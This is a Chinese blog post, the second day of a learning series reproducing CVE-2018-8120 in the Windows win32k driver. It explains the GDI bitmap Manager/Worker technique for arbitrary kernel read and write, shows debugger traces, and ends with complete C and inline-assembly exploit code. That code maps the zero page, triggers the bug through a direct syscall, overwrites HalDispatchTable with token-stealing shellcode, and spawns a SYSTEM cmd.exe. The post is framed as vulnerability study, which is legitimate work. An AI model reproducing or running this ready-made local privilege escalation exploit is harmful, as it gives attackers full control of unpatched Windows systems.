CVE-2018-8120 漏洞分析復現-Day2-完成

0x00:前言

昨天在最後復現的時候還差一點點,已經知道了漏洞點但是還沒有完成利用。使用之前在0 day安全上學到的任意地址寫漏洞技術似乎不是那麼好直接的使用。其實是需要用到濫用GDI bitmap這個技術,今天來學習!參考文章

0x01:GDI bitmap

本技術重要的部分在於,當創建一個bitmap時,我們可以泄露出其在內核中的地址。這一泄露在Windows10的v1607版本之後被打上了補丁。

當創建一個bitmap時,一個結構被附加到了父進程PEB的GdiSharedHandleTable中。給定進程PEB的基地址,GdiSharedHandleTable就在如下的偏移處(分別於32/64位)。

[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
    [FieldOffset(148)]
    public IntPtr GdiSharedHandleTable32;
    [FieldOffset(248)]
    public IntPtr GdiSharedHandleTable64;
}

PEB中的該條目是一個指向GDICELL結構體數組的指針,它定義了多種不同的image類型。該結構體的定義如下:

/// 32bit size: 0x10
/// 64bit size: 0x18
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
    public IntPtr pKernelAddress;
    public UInt16 wProcessId;
    public UInt16 wCount;
    public UInt16 wUpper;
    public UInt16 wType;
    public IntPtr pUserAddress;
}

通過使用GDI句柄,可以這樣計算得到其在內核的地址。

addr = PEB.GdiSharedHandleTable +(handle&0xffff)* sizeof(GDICELL64)

GDI_CELL中,有一項pKernelAddress結構,指向BASEOBJECT結構

typedef struct {
  ULONG64 hHmgr;
  ULONG32 ulShareCount;
  WORD cExclusiveLock;
  WORD BaseFlags;
  ULONG64提示;
} BASEOBJECT64; // sizeof = 0x18

typedef struct {
  BASEOBJECT64 BaseObject; // 0x00
  SURFOBJ64 SurfObj; // 0x18
  [...]
} SURFACE64;

我們並不關心它是什麼,重點是對於位圖來說,下面的SURFACE結構爲:

typedef struct {
  ULONG64 dhsurf; // 0x00
  ULONG64 hsurf;// 0x08
  ULONG64 dhpdev; // 0x10
  ULONG64 hdev; // 0x18
  SIZEL sizlBitmap; // 0x20
  ULONG64 cjBits; // 0x28
  ULONG64 pvBits; // 0x30
  ULONG64 pvScan0; // 0x38
  ULONG32 lDelta; // 0x40
  ULONG32 iUniq; // 0x44
  ULONG32 iBitmapFormat; // 0x48
  USHORT iType;// 0x4C
  USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50

我們關心的只是pvScan0。這一成員是一個指針,指向bitmap的首個掃描行。從泄露出來的內核地址我們可以計算出該成員的偏移。有這樣兩個GDI32 API調用,GetBitmapBitsSetBitmapBits ,它們直接操縱該成員。GetBitmaps允許我們在pvScan0地址上讀任意字節,SetBitmapBits允許我們在pvScan0地址上寫任意字節。

(64位)使用步驟爲:

  • 創建兩個bitmap對象
  • 使用句柄查找GDICELL64,計算pvScan0地址(兩個位圖)
  • 使用漏洞將Worker的pvScan0偏移地址寫入Manager的pvScan0**值
  • 在管理器上使用SetBitmapBits選擇地址
  • 在ring3上使用GetBitmapBits / SetBitmapBits讀取/寫入先前設置的地址

在這裏插入圖片描述

//創建2個位圖
hManager = CreateBitmap(...;
hWorker = CreateBitmap(...;
//獲取hManager的SURFOBJ64.pvScan0內核地址
ManagerCell = *(((GDICELL64 *)(PEB.GdiSharedHandleTable + LOWORD(hManager)* 0x18)));
pManagerpvScan0 = ManagerCell.pKernelAddress + 0x50;
//獲取hWorker的SURFOBJ64.pvScan0內核地址
WorkerCell = *(((GDICELL64 *)(PEB.GdiSharedHandleTable + LOWORD(hWorker)* 0x18)));
pWorkerpvScan0 = WorkerCell.pKernelAddress + 0x50;
//在此處觸發您的漏洞
//使用它在pManagerpvScan0處寫入pWorkerpvScan0
[...]
//現在我們可以在hManager上進行操作以設置要從中讀取/寫入的地址
//將其視爲設置地址寄存器
ULONG64 addr = 0xdeadbeef;
SetBitmapBits(hManager,sizeof(addr),&addr);
//這樣,我們就可以像這樣在hWorker上進行實際的任意讀寫
SetBitmapBits(hWorker,len,writebuffer);
GetBitmapBits(hWorker,len,readbuffer);

梳理一下,如果我們將Manager的pvScan0寫爲Worker的pvScan0所在的地址,那麼操控Manager即可隨意改變Worker的pvScan0,那麼再操控Worker的pvScan0即可進行任意地址寫了。意思就爲 Manager操控想寫的地址,Worker操控寫入該地址的內容。

0x02:回到CVE-2018-8120

根據上述思路和所填的進度,修改昨天的代碼繼續調試。將零地址偏移處的兩個值替換爲兩個pvScan0

 getZeroMemory();
    *(DWORD*)(0x2C) = (DWORD)(mpv);
    *(DWORD*)(0x14) = (DWORD)(wpv);

首先看到兩個pvScan0所在的地址

在這裏插入圖片描述

執行到昨天驗證失敗的地方,今天可以通過驗證了。因爲[pvScan0]+0x48h所在的地址恰好爲0!

在這裏插入圖片描述

繼續向下執行,可以看到即將會將worker的pvScan0的地址存放至manager的pvScan0地址處。

eax=fe6e8760 ebx=9219ffd8 ecx=00000057 edx=fe917d58 esi=950e1ab0 edi=fe6e8760
eip=921a00a2 esp=950e1a88 ebp=950e1a90 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
win32k!SetImeInfoEx+0x3d:
921a00a2 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
kd> dd 950e1ab0
950e1ab0  fe917d58 cccccccc cccccccc 00000048
950e1ac0  cccccccc cccccccc fe917d58 cccccccc
950e1ad0  cccccccc fe6e8760 cccccccc cccccccc
950e1ae0  060504e8 cccccccc cccccccc 1a050766
950e1af0  cccccccc cccccccc 00000090 00000000
950e1b00  00000000 00000000 00000000 00000000
950e1b10  00000000 00000000 00000000 00000000
950e1b20  00000000 00000000 00000000 00000000

執行完畢,可以看到修改完成!

kd> dd 0xfe6e8760
fe6e8760  fe917d58 cccccccc cccccccc 00000048
fe6e8770  cccccccc cccccccc fe917d58 cccccccc

在修改的時候注意,不光要修改這一個數據,因爲我們拷貝的是0X15C個數據。所以要順帶的將Manager的pvScan0後的其他數據結構保持不變,因此在代碼中加上這些數據。

char buf[0x200];
    RtlSecureZeroMemory(&buf, 0x200);
    PVOID *p = (PVOID*)&buf;
    p[0] = (PVOID)wpv;
    DWORD* pp = (DWORD*)&p[1];
    pp[0] = 0x180;
    pp[1] = 0x1d95;
    pp[2] = 6;
    pp[3] = 0x10000;
    pp[5] = 0x4800200;

在這裏插入圖片描述

接下來就可以利用這兩個bitmap完成任意地址寫任意數據了。只要將昨天想要覆蓋的內核函數地址替換成我們的ShellCode,然後再調用即可。

終於完成了!
在這裏插入圖片描述

附上所有代碼

#include<Windows.h>
#include<stdio.h>
#include<Psapi.h>
#include<profileapi.h>

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
    IN ULONG ProfileSource,
    OUT PULONG Interval
    );

typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;


//申請0頁內存
void getZeroMemory(){
 PVOID    Zero_addr = (PVOID)1;
SIZE_T    RegionSize = 0x1000;

*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
    GetModuleHandleW(L"ntdll"),
    "NtAllocateVirtualMemory");

if (NtAllocateVirtualMemory == NULL)
{
    printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
    system("pause");
}
if (!NT_SUCCESS(NtAllocateVirtualMemory(
    INVALID_HANDLE_VALUE,
    &Zero_addr,
    0,
    &RegionSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE)) || Zero_addr != NULL)
{
    printf("[+]Failed to alloc zero page!\n");
    system("pause");
}
printf("[+]Success to alloc zero page...\n");
}
__declspec(naked) VOID ShellCode()
{
    _asm
    {
        pushad
        mov eax, fs: [124h]		// 找到當前線程的_KTHREAD結構
        mov eax, [eax + 0x50]   // 找到_EPROCESS結構
        mov ecx, eax
        mov edx, 4				// edx = system PID(4)

        // 循環是爲了獲取system的_EPROCESS
        find_sys_pid :
        mov eax, [eax + 0xb8]	// 找到進程活動鏈表
        sub eax, 0xb8    		// 鏈表遍歷
        cmp[eax + 0xb4], edx    // 根據PID判斷是否爲SYSTEM
        jnz find_sys_pid

        // 替換Token
        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        xor eax,eax
        ret

    }
}
static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

//獲取ntkrnlpa.exe 在 kernel mode 中的基地址
LPVOID NtkrnlpaBase()
{
    LPVOID lpImageBase[1024];
    DWORD lpcbNeeded;
   CHAR lpfileName[1024];
    //Retrieves the load address for each device driver in the system
    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);

    for (int i = 0; i < 1024; i++)
    {
        //Retrieves the base name of the specified device driver
        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);

        if (!strcmp(lpfileName, "ntkrnlpa.exe"))
        {
            printf("[+]success to get %s\n", lpfileName);
            return lpImageBase[i];
        }
    }
    return NULL;
}

DWORD32 GetHalOffset_4()
{
    // ntkrnlpa.exe in kernel space base address
    PVOID pNtkrnlpaBase = NtkrnlpaBase();

    printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);

    // ntkrnlpa.exe in user space base address
    HMODULE hUserSpaceBase = LoadLibrary(L"ntkrnlpa.exe");

    // HalDispatchTable in user space address
    PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");

    DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;

    printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);

    return (DWORD32)hal_4;
}


//NtUserSetImeInfoEx()系統服務函數未導出,需要自己在用戶進程中調用該系統服務函數,以執行漏洞函數SetImeInfoEx()。
//其中SyscallIndex的計算,根據系統ShadowSSDT表導出序號計算。
DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
    _asm
    {

        mov esi, tmp;
        mov eax, gSyscall; //系統調用符號
        mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系統調用
        call dword ptr[edx];
        ret 4;
    }
}
DWORD getpeb()
{
    //在NT內核中,FS段爲TEB,TEB偏移0x30處爲PEB
    DWORD p = (DWORD)__readfsdword(0x18);
    p = *(DWORD*)((char*)p + 0x30);
    return p;
}
DWORD gTableOffset = 0x094;
DWORD getgdi()
{
    return *(DWORD*)(getpeb() + gTableOffset);
}
DWORD gtable;
typedef struct
{
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
} GDICELL;
PVOID getpvscan0(HANDLE h)
{
    if (!gtable)
        gtable = getgdi();
    DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;
    GDICELL* c = (GDICELL*)p;
    return (char*)c->pKernelAddress + 0x30;

}

int main()
{
    //1. 創建bitmap對象
    unsigned int bbuf[0x60] = { 0x90 };
    HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
    HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
    //2. 使用句柄查找GDICELL,計算pvScan0地址
    PVOID mpv = getpvscan0(gManger);
    PVOID wpv = getpvscan0(gWorker);
    printf("[+] Get manager at 0x%p,worker at 0x%p\n", mpv, wpv);
    //使用漏洞將Worker的pvScan0偏移地址寫入Manager的pvScan0值

    // 新建一個新的窗口,新建的WindowStation對象其偏移0x14位置的spklList字段的值默認是零
    HWINSTA hSta = CreateWindowStation(
        0,              //LPCSTR                lpwinsta
        0,              //DWORD                 dwFlags
        READ_CONTROL,   //ACCESS_MASK           dwDesiredAccess
        0               //LPSECURITY_ATTRIBUTES lpsa
    );

    // 和窗口當前進程關聯起來
    SetProcessWindowStation(hSta);

    char buf[0x200];
    RtlSecureZeroMemory(&buf, 0x200);
    PVOID *p = (PVOID*)&buf;
    p[0] = (PVOID)wpv;
    DWORD* pp = (DWORD*)&p[1];
    pp[0] = 0x180;
    pp[1] = 0x1d95;
    pp[2] = 6;
    pp[3] = 0x10000;
    pp[5] = 0x4800200;
    //獲取0頁內存
    getZeroMemory();
    *(DWORD*)(0x2C) = (DWORD)(mpv);
    *(DWORD*)(0x14) = (DWORD)(wpv);
    // WindowStation->spklList字段爲0,函數繼續執行將觸發漏洞
    NtUserSetImeInfoEx((PVOID)&buf);
    PVOID pOrg = 0;
    DWORD haladdr = GetHalOffset_4();
    PVOID oaddr = (PVOID)haladdr;
    PVOID sc = &ShellCode;

    SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //利用manager設置worker的可修改地址爲hal函數
    printf("[+]要覆蓋的目標地址 0x%x\n", oaddr);
    GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//獲取可修改的地址
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//設置地址爲shellcode
    printf("[+]覆蓋完畢,準備執行Shellcode");

    //觸發shellcode
    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
    printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
    DWORD interVal = 0;
    NtQueryIntervalProfile(0x1337, &interVal);
    //收尾
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
    CreateCmd();
    return 0;
}

0x03:明日計劃

明天可能會改一天論文,也可能會繼續學習內核漏洞。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章